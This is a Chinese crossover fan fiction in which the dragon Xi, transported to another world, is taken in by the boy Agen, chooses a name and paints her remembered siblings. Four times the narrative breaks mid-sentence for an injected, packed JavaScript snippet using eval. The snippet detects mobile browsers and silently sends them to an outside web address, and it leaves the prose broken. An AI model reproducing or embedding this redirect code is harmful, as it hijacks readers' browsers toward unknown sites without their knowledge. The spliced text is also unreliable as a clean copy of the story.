丹枫连喘气都粗了几分,眼睛眨也不眨地盯着这颗快要成型的持明卵,要实现的并非只是单纯的他想要永久退休的愿望,更是持明一族许久未曾降生新生命的希望。持明都是不朽的龙裔,身上都萦绕着不朽的力量,哪怕走上不同的命途,这份血脉也会伴随着不断的蜕生而永久存在。只是把自己的不朽运用到诞生后裔身上而已,可以做到。 意外发生的并不突然,几个人早就做好了准备——除了应星。工造司内倏忽血肉尚还活着的事情夕早就告诉了腾骁,只是腾骁在工造司转了好几圈也没找到办法分离掉倏忽施加给应星的影响,就连十王司的判官路过了几回也没办法。无奈之下只能瞒着应星,等待最后看看有没有解决方案。 丰饶的力量自应星身上爆发开来,直冲新生的持明卵而去。 受到丰饶的力量影响,夕脱手任由基本成型的力量团与丰饶的力量相结合,化作一头巨龙盘旋着。 拔剑,直指孽龙。 岁是什么样子她不知道,是怎么死去的她也不记得。但是她还记得令姐大梦千年,记得岁相长什么样子,又是怎么死去的。 白珩挽弓,镜流拔剑,景元提刀,丹枫持枪,应星在后方操纵起金人。云上五骁最后一次齐聚一堂。 孽龙似是哀嚎般从空中落下,夕向前一步接住尸体,准备分离丰饶和不朽的力量,重新构筑持明卵。却不曾预料到力量猛地爆发开来,她也只来得及施展结界护住几人不受丰饶力量的干扰。 还是迟了一步。 丰饶裹挟着不朽,目的明确地直奔应星而去。倏忽见自己的谋划全然没达到效果,可是不爽,于是他要在最后恶心他们一把。 一次化龙妙法却出现了两枚持明卵。 “应星!”哪怕早就被隐晦地提醒过应星会出事,他们也没想到应星会直接被倏忽袭击。 夕毫不迟疑把手放在应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201027|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星化作的持明卵上细细感知:“他并无大碍,真正影响到他的是丰饶,但是并不多,他破壳后只会变做和你们无甚差别的长生种。等待破壳的日子也不会太久。只是日后除非他真正心怀死志……”话未尽,但是言下之意在场的人都能明白。 深知应星境遇的四人只觉得可笑。身为短生种的应星一向被仙舟上的长生种所排斥,如今却被倏忽影响成了长生种? “这孩子也无甚问题,只是以后生长的速度要慢些。”夕又抱起新生的持明卵。这孩子会是下一任的持明龙尊。 “那就好……”丹枫只觉得更疲惫了,他险些以为他要失去一位朋友了。说起来他若是没有告诉夕和他的朋友,只是和应星一同来施展化龙妙法,也没有提前疏散鳞渊境内的持明……他难以想象会有什么后果。他龙狂后的状态不足以让他察觉到应星身上的异常,更不足以让他处理掉这样的怪物。 “该是我了。”他轻声说道,“接下来又要麻烦夕姐。”他可以休息了吗?新生的小龙尊在破壳后可以撑得起龙尊的责任吗? 这次倒是没有发生什么变故,丹枫的蜕生十分顺利。 亲手把两颗持明卵放入水中,夕抬眼看向应星所化的卵不免有些头疼。 “交给我吧!”景元珍惜地抱起卵来,“倏忽并未完全死去是事实,将军也早就知道,再稍微装饰一下应付十王司就好。毕竟应星哥也是受害者啊。”生活在仙舟上的丰饶民说多不多,说少也不少,只是多了个应星而已。 目送三人一卵离去,又叫来护珠人嘱咐他们细心照顾这两颗持明卵,夕没有理会护珠人激动的表情,她去继续处理工作了。 她不会在罗浮继续待下去,过不了多久就会离开,在此之前她要把持明的事情都处理完,确保在持明龙尊不在的情况下持明一族可以很好地运转下去。 除了将离去的消息告知腾骁,又接受了景元、白珩和镜流的送行外,夕谁也没告诉,静悄悄地走了。 她特意拜托太卜帮她测算了一个好日子,宜出行。 夕离开罗浮后在一颗无人星球上提剑斩去,只是照葫芦画瓢般按着大哥的样子出剑,力量凝聚在剑锋上为她斩出了一条缝隙。 趁着裂缝尚未合拢,夕飞身跃入其中。 缝隙的背后是一片承载着万千光辉的漆黑,炫目的黑光引得人止不住地流泪,眼中像是掉入了什么一样难受。 可以行走,但是走出的每一步都是煎熬。说不得是疼痛还是瘙痒,每走一步都感觉好像有罡风在不停吹拂,难耐的折磨。 可称为笨拙地指挥着自己的力量化作护身的屏障,浅淡的伤口虽小却也实实在在让她的力量不断流失。 剑刃上的力量与远方的力量遥相呼应,浅浅淡淡地构筑出一条直路。 没有精力去思考太多,只有走下去去的执念支撑着身体一步步向前。 走着走着,横在胸前的剑像是彭到了什么一样,一点点地陷入其中。夕勉强睁着眼睛伸手探去,却不想随着剑刃拔出,眼前的东西像气球般破了个洞,一股脑把她吸了进去。 是要进入新世界了吗?正好她流失的力量有些多,不一定能支撑她走到其他世界歇脚,刚好就在这里回复些许。 骤然出现在眼前是黯淡的天空,亮眼的星子点缀其中,月亮也是仿佛近在咫尺。 等等?被罡风刮得有些糊涂的脑袋清醒了一些,有月亮有太阳还有广阔星空,自己怕不是要掉在地球上!不行!就这么从距地几百千米的地方掉下去会砸出问题来的啊! 12. 在罗小黑的第1天 有什么办法可以让她躲过卫星躲过航天器不被发现而且还可以掉下去不砸到人啊!话说回来她印象里为什么丹枫还能飞是不是身为不朽令使的她也可以飞—— 几近慌乱地操纵起不朽的力量让自己冯虚御风立在天空之上,又忙用权能为自己泼墨上了一身隐身,夕这才松了口气,一点点地向下飞去。 看着地表上一片盎然的绿意中突兀地生着片片金黄,以及在金黄中参杂着的些许五颜六色的点,夕这才确认了自己这是来到了什么上面。内心止不住地生起阵阵后怕,若是她没能及时让自己飞起来而是直接就这么掉落下来的话,这个镇子势必会从此消失。 这镇子上的生命力好生浓厚,夕的眼中闪过一丝惊讶。看来这个世界想必是存在着一些不属于科学的力量的。只是不知道是怎样的力量。 且让她看看这个镇子吧。 看看这个世界的人都长什么模样,看看这个世界的人都有着什么力量。 轻巧地落到山林间的树枝上,眺望远方。只见来往的村人都神色悠然,怡然自乐,是纯然的人类模样,并未生出些许属于其他生命的器官。虽然没能顺利一步到位回到泰拉,但是这般也算是离自己的目的更近了一步。 这般浓郁的生命力并非是这些普通人可以拥有的,看来这个世界的力量并不是被所有人所拥有。 正想要从树上一跃而下,换身衣装去村镇里询问一二,山林间一个戴着眼镜穿背心的少年吸引了夕的目光。 很是眼熟,只是她确实不记得在哪里见过他。首先排除掉岁夕所在的地球,她认识的亲朋好友中并没有如此年龄的,再看看夕所在的泰拉,那里认识的人怎么会出现在异世界呢?总不可能是先掉入异空间又掉出了世界吧? 这又是什么?夕迷惑地看着半透明的不知明生命从草木间探出身子,又化作世间的万千生灵围绕在少年身侧。纯粹的生机勃勃的气息,温暖而亲切。 少年和半透明生灵们自由自在地交流着,脸上是纯然的放松。这一幕倒是更熟悉了。是谁呢?谁有着这样的亲和能力?唔,这是冰?能够操纵冰的能力……啊!在泰拉认识的来自异世界的那些人! 夕在泰拉倒是和来自异世界的九色鹿很是相熟,只是一时间没有想起来那些泰拉的异世界来客罢了。都有谁来着?属于岁夕和夕的记忆被同时调动,她想起来那些异世界来客都有谁了。身披九色云霞的九色鹿,彩六小队的那些人类,那三只猫咪,还有分明是人妖殊途却偏偏关系融洽的小黑小白和阿根…… 这是阿根吧?小白的姐姐,让神兽玄离居住在体内的那一位。详细的情况她记不太清了,但是那冰火共生的场面她倒是还记得。 这么一捋下来倒是明了许多。 只是她记忆当中那三个孩子还未能离开泰拉。所以这是什么情况?难不成在她从泰拉离开之后博士他们找到了去往其他世界的方法?然后又把这些不应当来到泰拉的人都送了回去?这也不是不可能。这些天真可爱的孩子不应当被那些恶意所侵扰。 只是夕还是觉得不太对劲。 究竟是哪里不对劲呢? 夕猛然睁大了双眼,她知道了!梦中大哥身上的衣着不对!大哥在离开玉门卸下职务后再没穿过那样的衣物,如今怎么又穿上了?说是大哥重新回去就职了也不对,她印象里的大哥哪里有这么年轻? 若是说现在的时间还没有到那个时间点呢? 不……说不定她只是单纯来到了一个小黑小白没去到泰拉的世界呢? 有些许急切地去掉身上泼墨出来的透明外衣,夕足尖轻点就想朝着阿根飞去。她想去问问他是否去过泰拉。她想要弄清一切。 就在夕接近阿根周身十米左右的时候,她只觉得全身上下有种毛骨悚然的感觉,就仿佛有一只巨大的眼睛从四面八方看过来。那眼睛又像是动物体内的白细胞似的,如同发现了什么异物一般,直奔她而来,张牙舞爪地既想确定她是否有害,又想直接把她送走。 慌忙地想要支起防身的结界或者直接躲入画卷,可是在世界缝隙间早就用的差不多的力量不足以让她进行这样的防御。 就好像是在挤压她似的。夕来不及做些别的,只把自己的惯用又带在身边的长剑和细笔扔进画卷中,又急忙收着自己的力量不让它们大规模的流失。 “嘤!” “啊!” 两声惨叫一前一后响彻整片森林。 阿根一脸安详地躺倒在草地上,他觉得自己的肚子已经不再属于自己了,那一部分的躯体已经归去了。 夕茫然地叫了几嗓子,又跳了两下,声音里满是无助。再次轻轻跃起,小巧圆润的身子吧嗒吧嗒在阿根肚子上不停起落。 “别……别跳了……”阿根颤颤巍巍地伸手抓住夕的小爪子,阻止了她的动作继续。他又把手中圆圆的生灵举起来,坐起身子,在从缝隙中透露出来的日光下看向这个从天而降直奔自己肚子的妖精。 没错,就是一只妖精。 阿根细细地观察着这个圆乎乎的小妖精,浑身是墨灰色的,头生青绿色龙角,松花绿的龙尾和鬃毛还有朱红色的眸子……这是条龙。他听见玄离睡眼惺忪的声音,大概是条新生的小龙吧,只是不巧从天而降又砸了你。说着说着,他的语气里就不自觉带上了笑意。 夕可不管眼前的人都在想些什么,如今神智如幼童般的她只知道自己现在被抱得很不舒服。小小的身子看上去胖嘟嘟的像是圆球,实际上可灵活了。龙尾向上一下子抽在阿根手上,趁着对方左手暂时松了力道,短短的后爪一蹬,前爪向前一扑,直直朝着他的头发扑去。 爪子不自觉地跺了两下,夕满意地点点头,这里很软,毛茸茸的像是……像是什么?小小的眼睛大大的疑惑,夕索性不去想那么多,满意地把阿根的头发当作自己的临时小窝。虽然还是有些不喜欢,但是这总是要比和地上聚集在一起等待腐烂的叶子待在一起要好。 听着脑海里玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201028|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离放肆的笑容,阿根脸色麻木极了,但是他又不能和一个还没有清晰灵智的小妖精说些什么,只能顶着小巧的龙泡泡收拾好东西下山。 至少先给头上的小家伙搭个窝吧,总不能让她一直住在自己脑袋上。还有这么小的妖精还什么都不知道,万一不小心到处乱跑那可就糟了。年纪不大的少年忧心地叹了口气,直奔山下村庄。 “阿根,回来了?” “爷爷,我回来了!” “嗯?这是?” “是山上的小妖精,把我的脑袋当成窝了。还得找些材料给她收拾收拾做个住的地方。” “我记得有个放些笔墨纸砚的旧纸箱,还有哪里放了些软布来着。” “知道啦,爷爷。” 成功找到了旧纸箱的阿根正想和夕商量商量让她下来方便他弯腰整理东西,只是他还没来得及开口,夕就两眼放光从脑袋上跳了下去,直接把自己送进了纸箱子。 “欸?这么配合?”阿根推了推眼镜,打算把笔墨和宣纸都拿出来,砚台倒是还好,铺些软布料正好当了床铺。 “嘤!”夕摆出一副很凶很凶的表情挡在了笔墨前面,张开嘴似乎只要阿根伸手她就要一口咬上去。 阿根想了想说:“你想留着这些东西在纸箱子里?这个箱子是要给你当窝的,不能放这么多东西。” 夕用后爪艰难地立起身子,一屁股坐在砚台上,然后伸出短短的前爪抱住装在纸袋里的毛笔,坚定地摇了摇头。 “喜欢?” 像是抱不动了一般,夕依依不舍地放下手中的纸袋子,小心翼翼地把它放好,又重新四肢着地待在砚台上,放松地长呼一口气,努力地点了点头。她的脑袋和身子紧紧地连在一起,整个龙泡泡看上去好像一个圆球带着一条三角形的尾巴,想要点头实在是太难了。 阿根有些犹豫,虽然说家里很少会用到笔墨纸砚了,就这么交给小龙玩也不是不行。但是这些东西就这么放在纸箱子里他也担心会不会伤到小龙,或者小龙一不小心把这些都弄坏了。 夕有些犹豫,她歪着脑袋想了想,用嘴叼起一只平放在纸箱子里盖了盖子的毛笔,指指装着宣纸的塑料袋子。 “你想写字?” 夕摇了摇头。 “你想画画?” 夕点了点头,紧接着她又叼着毛笔指指阿根。 “你想画我?” 夕摇了摇头。 “你想画画送给我们?” 夕点了点头。 “爷爷?” “阿根啊,这孩子喜欢就让她去画吧。”爷爷笑着摸摸夕的脑袋,“更何况这笔墨纸砚的平时也用不着。” “那你让我给你收拾收拾?” 夕艰难地低头看了看自己短小的四肢,不情不愿地放下嘴里的笔,安静地趴在砚台上点了点头。 阿根憋着笑给小龙整理好了纸箱子。 化作龙泡泡的夕就这么在阿根家里住了下来。 13. 在罗小黑的第2天 “话说回来,该怎么称呼你呢?”阿根苦恼地盘腿坐在纸箱子面前。距离夕来到阿根家也过了两三天的时间,在这期间他们相处得很好。夕一点儿都没有他原本想象中的难养,完全可以说是好养活极了。 这只小龙非常安静,平时就待在纸箱子里面不出来,也不怎么说话,只是抱着或是叼着笔慢悠悠地画画。只要有笔有墨就可以过上一整天。阿根看过了那些画作,画的都是森林里的景象,他印象很深刻,就是那天夕砸中他时森林的景色。 他也细细检查过了这只小龙身上的伤口,不是人为制造出来的伤势,仔细看去零零散散的哪里都有些,不过好在有着自动痊愈的架势。也不是没想过带着小龙去疗伤,只是小龙警惕极了,他和爷爷距离她近些倒是没什么问题,换成别人或者什么动物,小龙会毫不犹豫地踢上去。 无奈之下也只能选择放任自然,让夕自己一点点痊愈。 阿根挠了挠头发,抬手帮夕整理着纸张:“总不能一直叫你小龙吧?” 夕慢吞吞地抬头看了阿根一眼,郑重其事地点点头:“嘤,嘤嘤嘤。” “有了!”阿根一拍手,脸上兴奋极了,“我记得你认识字,我把字典拿过来,你选选你喜欢的字吧!” 夕歪了歪头:“嘤?” 少年站起身来,一溜烟地跑了出去,不一会儿就抱着一本字典重新坐在了纸箱子前面。 他伸手翻开书页,一个字一个字地指着:“快看看你想要用哪个字来做你的名字。” 把小脑袋拱在字典前面,夕严肃地看着这些字,一点点地读着。 一人一龙凑到一起也不嫌麻烦,就这么一个个地看下去。 看了许久,夕像是泄气一般瘫在了字典面前,她每看一个字都要摇摇头,摇得她脖子都酸了。她把小脑袋搭在地上,用额前的两只小巧龙角顶着字典,缓缓地把字典撬了起来。 厚重的字典沉极了,被顶起来后可一点都不高兴,在往夕脑袋上移动的过程中毫不犹豫地施展了“千斤坠”,把龙泡泡的前额和角一并压在了封皮下面。 “嘤……”晕乎乎的龙泡泡艰难地把脑袋挪了出来,她甩了甩脑袋,选择转过身去找人帮忙。用短短的前爪拍拍字典,又按了按靠在纸箱子上的装墨的盒子,眼神里满是期待。 “你想让我把字典立起来?”阿根一边忍耐笑意一边试探着问道。眼前的这只小龙可矜持了,偶尔看见她做出什么来了也不要笑,不然极有可能被墨水喷上一脸。墨水倒不是不好洗,只是沾上衣服了还要去手搓,那还是选择等到了她看不见的地方再笑比较好。 夕郑重地点了点头。只要把字典立起来,她看着就没有那么费劲了! 在字典立在纸箱子边上后,一人一龙又开始了漫长的寻找名字之旅。 字典里的字实在是太多了,一个个地翻找起来那可是一项大工程。 “重?”敏锐地看见夕犹豫着想点头的样子,阿根赶忙问了问。夕之前是一个字都没看上,连半点犹豫都没有,如今可算是稍微有点苗头了。他觉得这是小龙在受伤失忆前是有自己名字的,只是一时半会儿的没有想起来罢了。 就连龙泡泡自己都有些怀疑:“嘤?” “没事,可以先记下来,一会儿挑完了所有喜欢的字之后慢慢选。”阿根已经做好了长期作战的准备。名字这么重要的东西可不能马虎。 “嘤!”看了这么多字,夕早就有点累了,可是看到身后眼神包容温和的阿根,她还是重重地点点头,继续进行寻名大业。 过了许久,就连太阳都准备下班了,夕缩成一团把前爪按在“绩”这个字上,有气无力地叫了一声,她转过身眼巴巴地盯着阿根。她实在是看不动了!这么多的字,看着实在是太累了…… 直起身子拦住阿根伸向字典的手,夕坚定地摇了摇头,指着纸笔,有用龙角点了点字典。 “你想自己把你挑中的字都写下来?”眨了眨干涩的眼睛,阿根开始了猜猜看。 夕点了点头,紧接着她又按住阿根的手,指了指门:“嘤。” “你想让我出去?” 夕再次点了点头。 “是想让我去休息,然后你自己来继续挑?”阿根做出了这样的猜测。不怪他这样想,实在是这短短两三天的相处让他和爷爷都看清楚了这只小龙的本性。又文静又心软,就连爷爷想给她拿些宣纸她都看不过眼,非要自己背着宣纸跳进纸箱子里,说什么都不让爷爷插手。 夕坚定地点点头,故作凶狠地瞪着阿根,大有一种你不去休息我就咬你的架势。 阿根说了两句,但是耐不住夕的眼神过于凶恶,还是一步一步离开了这个房间。 “嘤。”独自一龙待在纸箱子里的夕看了看纸张上孤零零的几个字,失落地叹了口气,她什么都不记得了,只记得画画的本领还有些许颜色,有厚重的棕色、阴暗的灰色、潇洒的蓝色……好多好多的颜色,算上她总共十二种颜色呢!可是她只觉得熟悉,更多的却什么都想不起来。对把她带回家的阿根也只是感觉面熟。 惆怅地伸爪子摸摸这一个字,她总觉得棕色就是“重”字后面代表的那个人,不过好像还缺了些什么。只是看着这个字想着那代表的颜色她就觉得内心温暖,想必一定是她很重要的人。握了握小爪子,夕埋头继续看向字典,她觉得,至少要把这些她熟悉的名字都重新找出来、想起来。 时间晚到阿根都要去休息了,夕想了想把灯关上——爷爷为了方便夕,特地把纸箱子放到了灯的开关旁边。 黑暗并不会影响她的视物能力,橙红色的眸子在一片漆黑当中显得有些吓人,可是配上龙泡泡的动作就一点都不吓人了,反倒有些可爱。扭动着圆润的身体再挥舞着长长的毛笔,怎么看都和恐怖一点都不沾边。 完成了!看着纸张上的名字,龙泡泡露出了一个笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201029|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后换了一张崭新的纸继续写了起来。她觉得顺序不太对。 最终等阿根来叫夕去吃早饭的时候看到的就是圆滚滚的龙泡泡把小脑袋埋在了墨汁里,身下还压着好几张宣纸的场面。一眼就看出来夕熬了很久的少年无奈地叹了口气,轻轻捧起龙泡泡放到小床上。 等夕醒的时候已经是日上三竿了,她一睁眼看见的就是天花板,回想起自己昨晚睡着地点的龙泡泡感觉不好。下一秒一张镜子就摆在了她的脸前,一张黑不溜秋的脸呈现在她的眼中。 心虚地叫了一嗓子,夕可不管那么多,她试探着用自己刚回想起来的能力操纵脸上的墨回到墨水缸里,兴高采烈地指指砚台旁边的纸。 一下子就跳到纸张边上,夕认真地指了一下纸上的“夕”字,又指指自己。 看着龙泡泡开开心心,阿根也不忍心这时候还要数落她,索性把这件事暂且推迟。 “你的名字叫做夕?”他看出来龙泡泡的意思了。 夕点点头,又操纵着墨水自己从水缸里跳出来,一点点在纸张上继续写出新的字迹。字迹柔美,一看就是有着多年的功夫。 她昨天晚上做了一个梦,梦里有好多好多让她感觉熟悉的人,她要把这些名字和她梦里的人都对上号! 看着龙泡泡兴致勃勃地用着法术,阿根探头看去,玄离也悄声探头,夕怎么看都是个神兽,认识的妖精里说不准也有玄离认识的,要是有见过的那正巧也能把夕送回去。这么小的妖精一身伤地出现在外面,也不知道她的亲朋好友知不知道。 看着这一个个名字,玄离沉痛地表示并没有他认识的妖精。不过好在看夕的样子也知道她记忆也在逐渐恢复,等她记起来自己住哪里再送回去就好。 不过夕认识的妖精真的好多啊……阿根看着这一个个名字还要后面的后缀,艰难地吞了口口水,这些名字里面其实他最熟知的还是“九色鹿”,而这个名字后面跟着的是“朋友”二字。 看夕写完后缀后坐了下去,阿根也打算不管别的先好好说说夕说好了去休息却熬了一夜的行为。只是夕在阿根开口之前再度打断了他的动作。 龙泡泡捧起纸来,又放了下去,努力伸着爪子比划着什么。 阿根这回是真的什么都没看明白,他努力地猜测着:“是想要其他样式的纸?” 夕摇了摇头。 “嘤!”夕没等阿根继续猜下去,她眼睛一亮,操纵着墨水在空白纸上写着字。 “更大的纸啊……”阿根恍然大悟,“这个好办,那下回就不给你裁宣纸了,直接把整张纸都给你。” 龙泡泡高兴地点点头。 “不过等一等……”阿根在夕有所动作前抓紧时间说了出来,“今天还有一件事。” 夕疑惑地歪了歪头。 “那就是……”阿根非常认真地数落了夕熬夜的行为。 龙泡泡萎靡不振地低下了脑袋。 14. 在罗小黑的第3天 夕在隔天早上郑重地向爷爷表达了想要买新颜料的想法。 “新颜料?”爷爷摸了摸胡子,“这个可以,跟阿根说要买什么,然后让他带回来就好喽。” 于是阿根被夕拉着跑到了纸箱子旁边。 夕坐在一张飞在空中的画上,指挥着自己画的阿根被砸背景图飞出来,又让这张画飞到了阿根的手上。 “你是想用这张画来换新颜料?”阿根一头雾水地看着画中熟悉的让他感到胃疼的场景,“这倒不用吧,只是颜料而已,又不值多少钱。” 龙泡泡坚定地摇了摇头,她现在回想起来的记忆中,买东西是要用钱的!而且颜料的价钱好贵的!而且好多颜料的原材料都在城池外面,还有个叫什么、什么源石的东西在,更危险了!她已经在别人家里白吃白喝好几天了,她不能再拜托人家给她用钱买东西! 她有种模糊的概念,那就是她画出来的画非常值钱,有好多人愿意买她的画。她再好好画些画出来,这样子就可以抵这户人家给她买的药和颜料的钱了吧?对物价的了解还停留在泰拉物价水平的夕泡泡并不知道这个世界的物价,她零碎的记忆不足以让她发现自己早就去往了一个没有天灾和源石的世界。 凭借阿根的艺术水准,他其实不大看得出来这幅画到底值不值钱,但是他也拗不过执着的夕,无奈之下只好答应了夕的请求。夕还不知道她眼前的少年到底有什么打算呢。 过了三五天,龙泡泡收到了颜料大礼包。大盒子里面装着许多支颜料,她一支接一支地打开,又闻又看,时不时又露出不满的表情来。 阿根看着夕的表情就知道出了什么事:“市面上的颜料大多都是这样子,想买到其他颜料的话还要多费些功夫。” 懂事的夕泡泡坚定地伸出短爪子按住了阿根的手,又摇摇脑袋,表示自己不愿意再麻烦阿根。想要好颜料是想要好颜料,但是她并不想要阿根冒着生命危险去城外找原材料或者花费大价钱去买。完全没有想到第一面见到阿根就是在森林里的夕担忧地看着阿根。 “总觉得你在想一些不太对劲的事情……”阿根无奈地摸了摸夕的脑袋,“好啦好啦,我保证不会出去的。”阿根直觉夕失忆前应当是一个住在野外的妖精,毕竟如果是住在人类社会的话,应当就不会说这些奇怪的问题了…… 夕泡泡抱着自己实在不怎么看得上眼的颜料忧愁地叹了口气,她想要新颜料正是因为她想要画出她记忆里那些模糊的人影,重岳、令、黍、绩、年……一个个名字被她无声地念出,龙泡泡并不知道自己的眼角早已挂上了点点晶莹。 不需要太过花费时间去思考记忆中的人都长着何种模样,下笔如有神。夕画下去的每一笔都极为用心、极为认真,每一笔落下的同时就如同每个切真价实的人在画中逐渐拥有了生命。 第一幅画,峥嵘的龙角如同冠冕,锋锐的剑尾锐利,玄色的衣甲似是军中所用,气质如同山岳般厚重。 第二幅画,龙角如珊瑚般散开,长尾如软毫,雪白的衣裳穿着随意,像是一场梦一样浅淡飘渺。 第三幅画,高耸的龙角如玉般温润,长尾柔顺地紧贴大地,衣衫上的山脉与水纹清晰可见,如同一株坚韧的稻谷。 …… 只是看见这些人像,就会忍不住屏住呼吸,仿佛呈现在自己眼前的不只是人像,而是一只只隐藏在人类外皮之下的兽。 是巨兽的碎片,却同样是人类。 夕不觉自己到底画了些什么,在她心中,她只是画出了自己模糊记忆中的兄姐和幼弟。她不知道自己如今为何是这种模样,不知道为什么自己待在这里却不见秉烛人的身影,更不知道她的亲朋好友如今全部都身在何方。 尚未完全恢复伤势更能够化作人形的身体也不支持她离开这里。 她只记得自己的画技。 因此,也只能用自己的画来回忆、来思念自己的亲朋好友。 “嘤。”失落的声音在纸箱子附近响起。 阿根蹑手蹑脚地走了进去,玄离说既然夕画了妖精,他正好能看看,若是相识也正好把夕送回去。 很难说玄离此时究竟是什么感受,他很难直接描述他看见这些“人”时的心情。眼前画中的不像是妖精,更不像是人类,身为神兽的他感知到的比身为人类的阿根更多些,他只觉得画中的“人”更像是一些概念的化身——难以形容。 “我觉得……我不该称呼她为这丫头了。”玄离指挥着阿根退出了房间,“那第十一幅画你看见了没有?且不提那服饰常用的年代到底是哪个朝代了……”连他都对那些画感受到了忌惮。那只龙想必是用了自己的能力来画画才能画的这么真。 “那夕到底是遇到了什么事情才会伤的那么重啊?”阿根提出了和玄离一样的疑问。 “不知道,不过肯定不是有仇家,不然她哪里能在这里停留这么久啊,都快把整个春天过去了。”玄离懒洋洋地打了个哈欠,继续闭上眼睛睡觉去。 就在阿根苦恼的揉脑袋的时候,一只龙泡泡以阿根熟悉的姿势飞了过来。 “夕?” 宣纸上的字迹清晰极了,夕兴奋地跟阿根讲述了自己的新想法。她想让阿根带她去找这附近最近的天师府。 “天师府?”阿根迷糊了,这是什么东西?拆开他能理解,合起来就…… 夕非常认真地和阿根解释说,她身份特殊,天师见了她肯定会通知秉烛人,秉烛人见了她肯定会直接把她带走去京城,这样子就可以回去见到她的兄姐和幼弟了! 阿根缓缓陷入了沉思。好极了,现在他不理解的概念增加了。夕的身份到底是什么才会让天师见了就要通知?秉烛人又是什么?为什么要直接回京城? “嘤?”夕疑惑地看向阿根。 “夕,在你的印象里,现在是哪一年?”阿根看出来夕恢复的记忆更多了,只不过这恢复的记忆好像太靠前了。 夕虽然不解,但还是在宣纸上写下了自己印象中的年份。为了避免阿根知道的是一些偏门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15201030|165707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纪年方式,她还贴心地写上这是真龙围剿岁之后的第几年。 阿根艰难地吞了口口水:“可是现在是20XX年啊。”历史上有叫做炎的国家吗?他只知道自己是炎黄子孙算不算?难不成是炎帝建立的部落?真龙围剿岁又是什么东西啊? 夕茫然地歪了歪头。 “而且……现在确实没有专门的供天师就职的地方和秉烛人这个职业啊。”阿根很是苦恼。 夕非常震惊,宣纸上的字飞快地显现。现在人类已经不防范巨兽了吗? 阿根和夕面面相觑。 难不成?她只感觉心脏扑扑直跳。那个老东西已经彻底死了?不会再有活过来的机会了?她和兄姐和幼弟从此以后都自由了?字迹飞快地写出又飞快地被抹去,这些不适合被只是普通大炎人的阿根知道。 可以在这里多住一段时间吗?墨迹重新浮在宣纸上。 “当然可以。”阿根没看见别的,只看见了末尾那三个字。 龙泡泡很明显高兴了许多,她自诞生以来还没看过什么别的景象呢,秉烛人看他们看得可紧了,生怕他们一不高兴就玩个合成大岁兽。这怎么可能呢?在那片混沌中好不容易悟得了“我是谁”,又好不容易拥有了自己的身体……山川日月、花鸟鱼虫、男女老少……她可还没有尽兴呢。 未来的自己或许已经尽兴了,可是现在什么都记不太清的自己可一点都没尽兴。她还没有好好地看过这个世间呢。 阿根暂且抛却了思考夕今年到底多少岁这个问题,想太多他感觉就要突破片场了。咦?他刚刚在想什么。 帮着夕把画卷一幅幅地收起来,避免被普通人瞧见了又要被吓到。阿根笑眯眯地问夕愿不愿意跟他去山上看看。 城外?完全没出过阿根家院子的夕满眼的疑惑。不会有天灾吗? “不会的,距离台风来还早呢。”阿根回答了夕的问题。 夕眨巴眨巴眼睛,好吧,反正阿根怎么看都不像是会拿自己生命开玩笑的人,应该是最近的预报里面都没有天灾吧。 龙泡泡愉快地趴在阿根头上,正式认识了阿根的半透明朋友们。她还没见过这种生命呢!等她变回原来的样子了她就去好好把这些生灵都画下来!要不是她的爪爪太短了,画起来实在是难受,她现在就想画。 在日落时分前,一人一龙回到了村子里。 “阿根!快来帮忙啊!有团鼠!”爷爷看见阿根就仿佛看到了救星。这只不小心跑下山的团鼠快把家里房子拆了! 阿根瞳孔一缩,飞快地跑了进去。他顾不得顾忌什么,只想着要赶紧抓住团鼠,不然木制的房子就要被团鼠啃干净了! 夕趴在阿根脑袋上被颠得脑袋晕乎乎,她下意识松开了抓着阿根头发的爪子,后爪一蹬,在空中画出了一道优美的抛物线,直击团鼠。 “比丢?”团鼠疑惑地回头,却只看见一个圆滚滚的球扑面而来。 被吓得瑟瑟发抖的团鼠只来得及发出一声惨叫:“比丢!” 15. 在罗小黑的第4天 